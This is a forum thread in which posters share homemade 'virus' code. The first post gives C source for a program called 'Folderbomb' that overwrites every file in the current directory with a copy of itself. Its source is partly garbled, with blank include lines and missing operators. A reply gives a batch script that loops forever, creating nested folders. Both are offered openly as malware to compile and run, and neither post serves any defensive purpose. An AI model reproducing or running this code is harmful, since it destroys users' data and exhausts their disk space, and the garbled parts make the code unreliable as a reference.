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-   -   how to make a virus (folder in folder (http://www.go4expert.com/forums/virus-folder-folder-t24501/)

VISHAL SINGH 12Jan2011 22:20

how to make a virus (folder in folder
 
hey i m vishal sing ,an ethical hacker .now i kearn how u make an virus using c program
Code:

#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}

after tyiping the c program u compile it and wow...:crazy:

WHone 21Sep2013 23:23

Re: how to make a virus (folder in folder
 
:start
mkdir virus
cd virus
goto start.
(its just like the same virus format, copy the above code in notepad and save as .bat extension,this will create a folder in folder named as virus, strictly for educational purpous only don't mis use! :worried: )


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